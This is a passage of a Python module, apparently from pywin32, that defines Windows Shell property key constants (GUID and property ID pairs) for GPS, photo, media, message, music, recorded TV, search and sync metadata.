PKEY_GPS_ImgDirectionDenominator = (IID('{10B24595-41A2-4E20-93C2-5761C1395F32}'), 100)
PKEY_GPS_ImgDirectionNumerator = (IID('{DC5877C7-225F-45F7-BAC7-E81334B6130A}'), 100)
PKEY_GPS_ImgDirectionRef = (IID('{A4AAA5B7-1AD0-445F-811A-0F8F6E67F6B5}'), 100)
PKEY_GPS_Latitude = (IID('{8727CFFF-4868-4EC6-AD5B-81B98521D1AB}'), 100)
PKEY_GPS_LatitudeDenominator = (IID('{16E634EE-2BFF-497B-BD8A-4341AD39EEB9}'), 100)
PKEY_GPS_LatitudeNumerator = (IID('{7DDAAAD1-CCC8-41AE-B750-B2CB8031AEA2}'), 100)
PKEY_GPS_LatitudeRef = (IID('{029C0252-5B86-46C7-ACA0-2769FFC8E3D4}'), 100)
PKEY_GPS_Longitude = (IID('{C4C4DBB2-B593-466B-BBDA-D03D27D5E43A}'), 100)
PKEY_GPS_LongitudeDenominator = (IID('{BE6E176C-4534-4D2C-ACE5-31DEDAC1606B}'), 100)
PKEY_GPS_LongitudeNumerator = (IID('{02B0F689-A914-4E45-821D-1DDA452ED2C4}'), 100)
PKEY_GPS_LongitudeRef = (IID('{33DCF22B-28D5-464C-8035-1EE9EFD25278}'), 100)
PKEY_GPS_MapDatum = (IID('{2CA2DAE6-EDDC-407D-BEF1-773942ABFA95}'), 100)
PKEY_GPS_MeasureMode = (IID('{A015ED5D-AAEA-4D58-8A86-3C586920EA0B}'), 100)
PKEY_GPS_ProcessingMethod = (IID('{59D49E61-840F-4AA9-A939-E2099B7F6399}'), 100)
PKEY_GPS_Satellites = (IID('{467EE575-1F25-4557-AD4E-B8B58B0D9C15}'), 100)
PKEY_GPS_Speed = (IID('{DA5D0862-6E76-4E1B-BABD-70021BD25494}'), 100)
PKEY_GPS_SpeedDenominator = (IID('{7D122D5A-AE5E-4335-8841-D71E7CE72F53}'), 100)
PKEY_GPS_SpeedNumerator = (IID('{ACC9CE3D-C213-4942-8B48-6D0820F21C6D}'), 100)
PKEY_GPS_SpeedRef = (IID('{ECF7F4C9-544F-4D6D-9D98-8AD79ADAF453}'), 100)
PKEY_GPS_Status = (IID('{125491F4-818F-46B2-91B5-D537753617B2}'), 100)
PKEY_GPS_Track = (IID('{76C09943-7C33-49E3-9E7E-CDBA872CFADA}'), 100)
PKEY_GPS_TrackDenominator = (IID('{C8D1920C-01F6-40C0-AC86-2F3A4AD00770}'), 100)
PKEY_GPS_TrackNumerator = (IID('{702926F4-44A6-43E1-AE71-45627116893B}'), 100)
PKEY_GPS_TrackRef = (IID('{35DBE6FE-44C3-4400-AAAE-D2C799C407E8}'), 100)
PKEY_GPS_VersionID = (IID('{22704DA4-C6B2-4A99-8E56-F16DF8C92599}'), 100)
PKEY_Image_BitDepth = (IID('{6444048F-4C8B-11D1-8B70-080036B11A03}'), 7)
PKEY_Image_ColorSpace = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 40961)
PKEY_Image_CompressedBitsPerPixel = (IID('{364B6FA9-37AB-482A-BE2B-AE02F60D4318}'), 100)
PKEY_Image_CompressedBitsPerPixelDenominator = (IID('{1F8844E1-24AD-4508-9DFD-5326A415CE02}'), 100)
PKEY_Image_CompressedBitsPerPixelNumerator = (IID('{D21A7148-D32C-4624-8900-277210F79C0F}'), 100)
PKEY_Image_Compression = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 259)
PKEY_Image_CompressionText = (IID('{3F08E66F-2F44-4BB9-A682-AC35D2562322}'), 100)
PKEY_Image_Dimensions = (IID('{6444048F-4C8B-11D1-8B70-080036B11A03}'), 13)
PKEY_Image_HorizontalResolution = (IID('{6444048F-4C8B-11D1-8B70-080036B11A03}'), 5)
PKEY_Image_HorizontalSize = (IID('{6444048F-4C8B-11D1-8B70-080036B11A03}'), 3)
PKEY_Image_ImageID = (IID('{10DABE05-32AA-4C29-BF1A-63E2D220587F}'), 100)
PKEY_Image_ResolutionUnit = (IID('{19B51FA6-1F92-4A5C-AB48-7DF0ABD67444}'), 100)
PKEY_Image_VerticalResolution = (IID('{6444048F-4C8B-11D1-8B70-080036B11A03}'), 6)
PKEY_Image_VerticalSize = (IID('{6444048F-4C8B-11D1-8B70-080036B11A03}'), 4)
PKEY_Journal_Contacts = (IID('{DEA7C82C-1D89-4A66-9427-A4E3DEBABCB1}'), 100)
PKEY_Journal_EntryType = (IID('{95BEB1FC-326D-4644-B396-CD3ED90E6DDF}'), 100)
PKEY_Link_Comment = (IID('{B9B4B3FC-2B51-4A42-B5D8-324146AFCF25}'), 5)
PKEY_Link_DateVisited = (IID('{5CBF2787-48CF-4208-B90E-EE5E5D420294}'), 23)
PKEY_Link_Description = (IID('{5CBF2787-48CF-4208-B90E-EE5E5D420294}'), 21)
PKEY_Link_Status = (IID('{B9B4B3FC-2B51-4A42-B5D8-324146AFCF25}'), 3)
PKEY_Link_TargetExtension = (IID('{7A7D76F4-B630-4BD7-95FF-37CC51A975C9}'), 2)
PKEY_Link_TargetParsingPath = (IID('{B9B4B3FC-2B51-4A42-B5D8-324146AFCF25}'), 2)
PKEY_Link_TargetSFGAOFlags = (IID('{B9B4B3FC-2B51-4A42-B5D8-324146AFCF25}'), 8)
PKEY_Media_AuthorUrl = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 32)
PKEY_Media_AverageLevel = (IID('{09EDD5B6-B301-43C5-9990-D00302EFFD46}'), 100)
PKEY_Media_ClassPrimaryID = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 13)
PKEY_Media_ClassSecondaryID = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 14)
PKEY_Media_CollectionGroupID = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 24)
PKEY_Media_CollectionID = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 25)
PKEY_Media_ContentDistributor = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 18)
PKEY_Media_ContentID = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 26)
PKEY_Media_CreatorApplication = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 27)
PKEY_Media_CreatorApplicationVersion = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 28)
PKEY_Media_DateEncoded = (IID('{2E4B640D-5019-46D8-8881-55414CC5CAA0}'), 100)
PKEY_Media_DateReleased = (IID('{DE41CC29-6971-4290-B472-F59F2E2F31E2}'), 100)
PKEY_Media_Duration = (IID('{64440490-4C8B-11D1-8B70-080036B11A03}'), 3)
PKEY_Media_DVDID = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 15)
PKEY_Media_EncodedBy = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 36)
PKEY_Media_EncodingSettings = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 37)
PKEY_Media_FrameCount = (IID('{6444048F-4C8B-11D1-8B70-080036B11A03}'), 12)
PKEY_Media_MCDI = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 16)
PKEY_Media_MetadataContentProvider = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 17)
PKEY_Media_Producer = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 22)
PKEY_Media_PromotionUrl = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 33)
PKEY_Media_ProtectionType = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 38)
PKEY_Media_ProviderRating = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 39)
PKEY_Media_ProviderStyle = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 40)
PKEY_Media_Publisher = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 30)
PKEY_Media_SubscriptionContentId = (IID('{9AEBAE7A-9644-487D-A92C-657585ED751A}'), 100)
PKEY_Media_SubTitle = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 38)
PKEY_Media_UniqueFileIdentifier = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 35)
PKEY_Media_UserNoAutoInfo = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 41)
PKEY_Media_UserWebUrl = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 34)
PKEY_Media_Writer = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 23)
PKEY_Media_Year = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 5)
PKEY_Message_AttachmentContents = (IID('{3143BF7C-80A8-4854-8880-E2E40189BDD0}'), 100)
PKEY_Message_AttachmentNames = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 21)
PKEY_Message_BccAddress = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 2)
PKEY_Message_BccName = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 3)
PKEY_Message_CcAddress = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 4)
PKEY_Message_CcName = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 5)
PKEY_Message_ConversationID = (IID('{DC8F80BD-AF1E-4289-85B6-3DFC1B493992}'), 100)
PKEY_Message_ConversationIndex = (IID('{DC8F80BD-AF1E-4289-85B6-3DFC1B493992}'), 101)
PKEY_Message_DateReceived = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 20)
PKEY_Message_DateSent = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 19)
PKEY_Message_FromAddress = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 13)
PKEY_Message_FromName = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 14)
PKEY_Message_HasAttachments = (IID('{9C1FCF74-2D97-41BA-B4AE-CB2E3661A6E4}'), 8)
PKEY_Message_IsFwdOrReply = (IID('{9A9BC088-4F6D-469E-9919-E705412040F9}'), 100)
PKEY_Message_MessageClass = (IID('{CD9ED458-08CE-418F-A70E-F912C7BB9C5C}'), 103)
PKEY_Message_SenderAddress = (IID('{0BE1C8E7-1981-4676-AE14-FDD78F05A6E7}'), 100)
PKEY_Message_SenderName = (IID('{0DA41CFA-D224-4A18-AE2F-596158DB4B3A}'), 100)
PKEY_Message_Store = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 15)
PKEY_Message_ToAddress = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 16)
PKEY_Message_ToDoTitle = (IID('{BCCC8A3C-8CEF-42E5-9B1C-C69079398BC7}'), 100)
PKEY_Message_ToName = (IID('{E3E0584C-B788-4A5A-BB20-7F5A44C9ACDD}'), 17)
PKEY_Music_AlbumArtist = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 13)
PKEY_Music_AlbumTitle = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 4)
PKEY_Music_Artist = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 2)
PKEY_Music_BeatsPerMinute = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 35)
PKEY_Music_Composer = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 19)
PKEY_Music_Conductor = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 36)
PKEY_Music_ContentGroupDescription = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 33)
PKEY_Music_Genre = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 11)
PKEY_Music_InitialKey = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 34)
PKEY_Music_Lyrics = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 12)
PKEY_Music_Mood = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 39)
PKEY_Music_PartOfSet = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 37)
PKEY_Music_Period = (IID('{64440492-4C8B-11D1-8B70-080036B11A03}'), 31)
PKEY_Music_SynchronizedLyrics = (IID('{6B223B6A-162E-4AA9-B39F-05D678FC6D77}'), 100)
PKEY_Music_TrackNumber = (IID('{56A3372E-CE9C-11D2-9F0E-006097C686F6}'), 7)
PKEY_Note_Color = (IID('{4776CAFA-BCE4-4CB1-A23E-265E76D8EB11}'), 100)
PKEY_Note_ColorText = (IID('{46B4E8DE-CDB2-440D-885C-1658EB65B914}'), 100)
PKEY_Photo_Aperture = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37378)
PKEY_Photo_ApertureDenominator = (IID('{E1A9A38B-6685-46BD-875E-570DC7AD7320}'), 100)
PKEY_Photo_ApertureNumerator = (IID('{0337ECEC-39FB-4581-A0BD-4C4CC51E9914}'), 100)
PKEY_Photo_Brightness = (IID('{1A701BF6-478C-4361-83AB-3701BB053C58}'), 100)
PKEY_Photo_BrightnessDenominator = (IID('{6EBE6946-2321-440A-90F0-C043EFD32476}'), 100)
PKEY_Photo_BrightnessNumerator = (IID('{9E7D118F-B314-45A0-8CFB-D654B917C9E9}'), 100)
PKEY_Photo_CameraManufacturer = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 271)
PKEY_Photo_CameraModel = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 272)
PKEY_Photo_CameraSerialNumber = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 273)
PKEY_Photo_Contrast = (IID('{2A785BA9-8D23-4DED-82E6-60A350C86A10}'), 100)
PKEY_Photo_ContrastText = (IID('{59DDE9F2-5253-40EA-9A8B-479E96C6249A}'), 100)
PKEY_Photo_DateTaken = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 36867)
PKEY_Photo_DigitalZoom = (IID('{F85BF840-A925-4BC2-B0C4-8E36B598679E}'), 100)
PKEY_Photo_DigitalZoomDenominator = (IID('{745BAF0E-E5C1-4CFB-8A1B-D031A0A52393}'), 100)
PKEY_Photo_DigitalZoomNumerator = (IID('{16CBB924-6500-473B-A5BE-F1599BCBE413}'), 100)
PKEY_Photo_Event = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 18248)
PKEY_Photo_EXIFVersion = (IID('{D35F743A-EB2E-47F2-A286-844132CB1427}'), 100)
PKEY_Photo_ExposureBias = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37380)
PKEY_Photo_ExposureBiasDenominator = (IID('{AB205E50-04B7-461C-A18C-2F233836E627}'), 100)
PKEY_Photo_ExposureBiasNumerator = (IID('{738BF284-1D87-420B-92CF-5834BF6EF9ED}'), 100)
PKEY_Photo_ExposureIndex = (IID('{967B5AF8-995A-46ED-9E11-35B3C5B9782D}'), 100)
PKEY_Photo_ExposureIndexDenominator = (IID('{93112F89-C28B-492F-8A9D-4BE2062CEE8A}'), 100)
PKEY_Photo_ExposureIndexNumerator = (IID('{CDEDCF30-8919-44DF-8F4C-4EB2FFDB8D89}'), 100)
PKEY_Photo_ExposureProgram = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 34850)
PKEY_Photo_ExposureProgramText = (IID('{FEC690B7-5F30-4646-AE47-4CAAFBA884A3}'), 100)
PKEY_Photo_ExposureTime = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 33434)
PKEY_Photo_ExposureTimeDenominator = (IID('{55E98597-AD16-42E0-B624-21599A199838}'), 100)
PKEY_Photo_ExposureTimeNumerator = (IID('{257E44E2-9031-4323-AC38-85C552871B2E}'), 100)
PKEY_Photo_Flash = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37385)
PKEY_Photo_FlashEnergy = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 41483)
PKEY_Photo_FlashEnergyDenominator = (IID('{D7B61C70-6323-49CD-A5FC-C84277162C97}'), 100)
PKEY_Photo_FlashEnergyNumerator = (IID('{FCAD3D3D-0858-400F-AAA3-2F66CCE2A6BC}'), 100)
PKEY_Photo_FlashManufacturer = (IID('{AABAF6C9-E0C5-4719-8585-57B103E584FE}'), 100)
PKEY_Photo_FlashModel = (IID('{FE83BB35-4D1A-42E2-916B-06F3E1AF719E}'), 100)
PKEY_Photo_FlashText = (IID('{6B8B68F6-200B-47EA-8D25-D8050F57339F}'), 100)
PKEY_Photo_FNumber = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 33437)
PKEY_Photo_FNumberDenominator = (IID('{E92A2496-223B-4463-A4E3-30EABBA79D80}'), 100)
PKEY_Photo_FNumberNumerator = (IID('{1B97738A-FDFC-462F-9D93-1957E08BE90C}'), 100)
PKEY_Photo_FocalLength = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37386)
PKEY_Photo_FocalLengthDenominator = (IID('{305BC615-DCA1-44A5-9FD4-10C0BA79412E}'), 100)
PKEY_Photo_FocalLengthInFilm = (IID('{A0E74609-B84D-4F49-B860-462BD9971F98}'), 100)
PKEY_Photo_FocalLengthNumerator = (IID('{776B6B3B-1E3D-4B0C-9A0E-8FBAF2A8492A}'), 100)
PKEY_Photo_FocalPlaneXResolution = (IID('{CFC08D97-C6F7-4484-89DD-EBEF4356FE76}'), 100)
PKEY_Photo_FocalPlaneXResolutionDenominator = (IID('{0933F3F5-4786-4F46-A8E8-D64DD37FA521}'), 100)
PKEY_Photo_FocalPlaneXResolutionNumerator = (IID('{DCCB10AF-B4E2-4B88-95F9-031B4D5AB490}'), 100)
PKEY_Photo_FocalPlaneYResolution = (IID('{4FFFE4D0-914F-4AC4-8D6F-C9C61DE169B1}'), 100)
PKEY_Photo_FocalPlaneYResolutionDenominator = (IID('{1D6179A6-A876-4031-B013-3347B2B64DC8}'), 100)
PKEY_Photo_FocalPlaneYResolutionNumerator = (IID('{A2E541C5-4440-4BA8-867E-75CFC06828CD}'), 100)
PKEY_Photo_GainControl = (IID('{FA304789-00C7-4D80-904A-1E4DCC7265AA}'), 100)
PKEY_Photo_GainControlDenominator = (IID('{42864DFD-9DA4-4F77-BDED-4AAD7B256735}'), 100)
PKEY_Photo_GainControlNumerator = (IID('{8E8ECF7C-B7B8-4EB8-A63F-0EE715C96F9E}'), 100)
PKEY_Photo_GainControlText = (IID('{C06238B2-0BF9-4279-A723-25856715CB9D}'), 100)
PKEY_Photo_ISOSpeed = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 34855)
PKEY_Photo_LensManufacturer = (IID('{E6DDCAF7-29C5-4F0A-9A68-D19412EC7090}'), 100)
PKEY_Photo_LensModel = (IID('{E1277516-2B5F-4869-89B1-2E585BD38B7A}'), 100)
PKEY_Photo_LightSource = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37384)
PKEY_Photo_MakerNote = (IID('{FA303353-B659-4052-85E9-BCAC79549B84}'), 100)
PKEY_Photo_MakerNoteOffset = (IID('{813F4124-34E6-4D17-AB3E-6B1F3C2247A1}'), 100)
PKEY_Photo_MaxAperture = (IID('{08F6D7C2-E3F2-44FC-AF1E-5AA5C81A2D3E}'), 100)
PKEY_Photo_MaxApertureDenominator = (IID('{C77724D4-601F-46C5-9B89-C53F93BCEB77}'), 100)
PKEY_Photo_MaxApertureNumerator = (IID('{C107E191-A459-44C5-9AE6-B952AD4B906D}'), 100)
PKEY_Photo_MeteringMode = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37383)
PKEY_Photo_MeteringModeText = (IID('{F628FD8C-7BA8-465A-A65B-C5AA79263A9E}'), 100)
PKEY_Photo_Orientation = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 274)
PKEY_Photo_OrientationText = (IID('{A9EA193C-C511-498A-A06B-58E2776DCC28}'), 100)
PKEY_Photo_PhotometricInterpretation = (IID('{341796F1-1DF9-4B1C-A564-91BDEFA43877}'), 100)
PKEY_Photo_PhotometricInterpretationText = (IID('{821437D6-9EAB-4765-A589-3B1CBBD22A61}'), 100)
PKEY_Photo_ProgramMode = (IID('{6D217F6D-3F6A-4825-B470-5F03CA2FBE9B}'), 100)
PKEY_Photo_ProgramModeText = (IID('{7FE3AA27-2648-42F3-89B0-454E5CB150C3}'), 100)
PKEY_Photo_RelatedSoundFile = (IID('{318A6B45-087F-4DC2-B8CC-05359551FC9E}'), 100)
PKEY_Photo_Saturation = (IID('{49237325-A95A-4F67-B211-816B2D45D2E0}'), 100)
PKEY_Photo_SaturationText = (IID('{61478C08-B600-4A84-BBE4-E99C45F0A072}'), 100)
PKEY_Photo_Sharpness = (IID('{FC6976DB-8349-4970-AE97-B3C5316A08F0}'), 100)
PKEY_Photo_SharpnessText = (IID('{51EC3F47-DD50-421D-8769-334F50424B1E}'), 100)
PKEY_Photo_ShutterSpeed = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37377)
PKEY_Photo_ShutterSpeedDenominator = (IID('{E13D8975-81C7-4948-AE3F-37CAE11E8FF7}'), 100)
PKEY_Photo_ShutterSpeedNumerator = (IID('{16EA4042-D6F4-4BCA-8349-7C78D30FB333}'), 100)
PKEY_Photo_SubjectDistance = (IID('{14B81DA1-0135-4D31-96D9-6CBFC9671A99}'), 37382)
PKEY_Photo_SubjectDistanceDenominator = (IID('{0C840A88-B043-466D-9766-D4B26DA3FA77}'), 100)
PKEY_Photo_SubjectDistanceNumerator = (IID('{8AF4961C-F526-43E5-AA81-DB768219178D}'), 100)
PKEY_Photo_TranscodedForSync = (IID('{9A8EBB75-6458-4E82-BACB-35C0095B03BB}'), 100)
PKEY_Photo_WhiteBalance = (IID('{EE3D3D8A-5381-4CFA-B13B-AAF66B5F4EC9}'), 100)
PKEY_Photo_WhiteBalanceText = (IID('{6336B95E-C7A7-426D-86FD-7AE3D39C84B4}'), 100)
PKEY_PropGroup_Advanced = (IID('{900A403B-097B-4B95-8AE2-071FDAEEB118}'), 100)
PKEY_PropGroup_Audio = (IID('{2804D469-788F-48AA-8570-71B9C187E138}'), 100)
PKEY_PropGroup_Calendar = (IID('{9973D2B5-BFD8-438A-BA94-5349B293181A}'), 100)
PKEY_PropGroup_Camera = (IID('{DE00DE32-547E-4981-AD4B-542F2E9007D8}'), 100)
PKEY_PropGroup_Contact = (IID('{DF975FD3-250A-4004-858F-34E29A3E37AA}'), 100)
PKEY_PropGroup_Content = (IID('{D0DAB0BA-368A-4050-A882-6C010FD19A4F}'), 100)
PKEY_PropGroup_Description = (IID('{8969B275-9475-4E00-A887-FF93B8B41E44}'), 100)
PKEY_PropGroup_FileSystem = (IID('{E3A7D2C1-80FC-4B40-8F34-30EA111BDC2E}'), 100)
PKEY_PropGroup_General = (IID('{CC301630-B192-4C22-B372-9F4C6D338E07}'), 100)
PKEY_PropGroup_GPS = (IID('{F3713ADA-90E3-4E11-AAE5-FDC17685B9BE}'), 100)
PKEY_PropGroup_Image = (IID('{E3690A87-0FA8-4A2A-9A9F-FCE8827055AC}'), 100)
PKEY_PropGroup_Media = (IID('{61872CF7-6B5E-4B4B-AC2D-59DA84459248}'), 100)
PKEY_PropGroup_MediaAdvanced = (IID('{8859A284-DE7E-4642-99BA-D431D044B1EC}'), 100)
PKEY_PropGroup_Message = (IID('{7FD7259D-16B4-4135-9F97-7C96ECD2FA9E}'), 100)
PKEY_PropGroup_Music = (IID('{68DD6094-7216-40F1-A029-43FE7127043F}'), 100)
PKEY_PropGroup_Origin = (IID('{2598D2FB-5569-4367-95DF-5CD3A177E1A5}'), 100)
PKEY_PropGroup_PhotoAdvanced = (IID('{0CB2BF5A-9EE7-4A86-8222-F01E07FDADAF}'), 100)
PKEY_PropGroup_RecordedTV = (IID('{E7B33238-6584-4170-A5C0-AC25EFD9DA56}'), 100)
PKEY_PropGroup_Video = (IID('{BEBE0920-7671-4C54-A3EB-49FDDFC191EE}'), 100)
PKEY_PropList_ConflictPrompt = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 11)
PKEY_PropList_ExtendedTileInfo = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 9)
PKEY_PropList_FileOperationPrompt = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 10)
PKEY_PropList_FullDetails = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 2)
PKEY_PropList_InfoTip = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 4)
PKEY_PropList_NonPersonal = (IID('{49D1091F-082E-493F-B23F-D2308AA9668C}'), 100)
PKEY_PropList_PreviewDetails = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 8)
PKEY_PropList_PreviewTitle = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 6)
PKEY_PropList_QuickTip = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 5)
PKEY_PropList_TileInfo = (IID('{C9944A21-A406-48FE-8225-AEC7E24C211B}'), 3)
PKEY_PropList_XPDetailsPanel = (IID('{F2275480-F782-4291-BD94-F13693513AEC}'), 0)
PKEY_RecordedTV_ChannelNumber = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 7)
PKEY_RecordedTV_Credits = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 4)
PKEY_RecordedTV_DateContentExpires = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 15)
PKEY_RecordedTV_EpisodeName = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 2)
PKEY_RecordedTV_IsATSCContent = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 16)
PKEY_RecordedTV_IsClosedCaptioningAvailable = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 12)
PKEY_RecordedTV_IsDTVContent = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 17)
PKEY_RecordedTV_IsHDContent = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 18)
PKEY_RecordedTV_IsRepeatBroadcast = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 13)
PKEY_RecordedTV_IsSAP = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 14)
PKEY_RecordedTV_NetworkAffiliation = (IID('{2C53C813-FB63-4E22-A1AB-0B331CA1E273}'), 100)
PKEY_RecordedTV_OriginalBroadcastDate = (IID('{4684FE97-8765-4842-9C13-F006447B178C}'), 100)
PKEY_RecordedTV_ProgramDescription = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 3)
PKEY_RecordedTV_RecordingTime = (IID('{A5477F61-7A82-4ECA-9DDE-98B69B2479B3}'), 100)
PKEY_RecordedTV_StationCallSign = (IID('{6D748DE2-8D38-4CC3-AC60-F009B057C557}'), 5)
PKEY_RecordedTV_StationName = (IID('{1B5439E7-EBA1-4AF8-BDD7-7AF1D4549493}'), 100)
PKEY_Search_AutoSummary = (IID('{560C36C0-503A-11CF-BAA1-00004C752A9A}'), 2)
PKEY_Search_ContainerHash = (IID('{BCEEE283-35DF-4D53-826A-F36A3EEFC6BE}'), 100)
PKEY_Search_Contents = (IID('{B725F130-47EF-101A-A5F1-02608C9EEBAC}'), 19)
PKEY_Search_EntryID = (IID('{49691C90-7E17-101A-A91C-08002B2ECDA9}'), 5)
PKEY_Search_GatherTime = (IID('{0B63E350-9CCC-11D0-BCDB-00805FCCCE04}'), 8)
PKEY_Search_IsClosedDirectory = (IID('{0B63E343-9CCC-11D0-BCDB-00805FCCCE04}'), 23)
PKEY_Search_IsFullyContained = (IID('{0B63E343-9CCC-11D0-BCDB-00805FCCCE04}'), 24)
PKEY_Search_QueryFocusedSummary = (IID('{560C36C0-503A-11CF-BAA1-00004C752A9A}'), 3)
PKEY_Search_Rank = (IID('{49691C90-7E17-101A-A91C-08002B2ECDA9}'), 3)
PKEY_Search_Store = (IID('{A06992B3-8CAF-4ED7-A547-B259E32AC9FC}'), 100)
PKEY_Search_UrlToIndex = (IID('{0B63E343-9CCC-11D0-BCDB-00805FCCCE04}'), 2)
PKEY_Search_UrlToIndexWithModificationTime = (IID('{0B63E343-9CCC-11D0-BCDB-00805FCCCE04}'), 12)
PKEY_DescriptionID = (IID('{28636AA6-953D-11D2-B5D6-00C04FD918D0}'), 2)
PKEY_Link_TargetSFGAOFlagsStrings = (IID('{D6942081-D53B-443D-AD47-5E059D9CD27A}'), 3)
PKEY_Link_TargetUrl = (IID('{5CBF2787-48CF-4208-B90E-EE5E5D420294}'), 2)
PKEY_Shell_SFGAOFlagsStrings = (IID('{D6942081-D53B-443D-AD47-5E059D9CD27A}'), 2)
PKEY_Software_DateLastUsed = (IID('{841E4F90-FF59-4D16-8947-E81BBFFAB36D}'), 16)
PKEY_Software_ProductName = (IID('{0CEF7D53-FA64-11D1-A203-0000F81FEDEE}'), 7)
PKEY_Sync_Comments = (IID('{7BD5533E-AF15-44DB-B8C8-BD6624E1D032}'), 13)
PKEY_Sync_ConflictDescription = (IID('{CE50C159-2FB8-41FD-BE68-D3E042E274BC}'), 4)
PKEY_Sync_ConflictFirstLocation = (IID('{CE50C159-2FB8-41FD-BE68-D3E042E274BC}'), 6)
PKEY_Sync_ConflictSecondLocation = (IID('{CE50C159-2FB8-41FD-BE68-D3E042E274BC}'), 7)
PKEY_Sync_HandlerCollectionID = (IID('{7BD5533E-AF15-44DB-B8C8-BD6624E1D032}'), 2)
PKEY_Sync_HandlerID = (IID('{7BD5533E-AF15-44DB-B8C8-BD6624E1D032}'), 3)
PKEY_Sync_HandlerName = (IID('{CE50C159-2FB8-41FD-BE68-D3E042E274BC}'), 2)
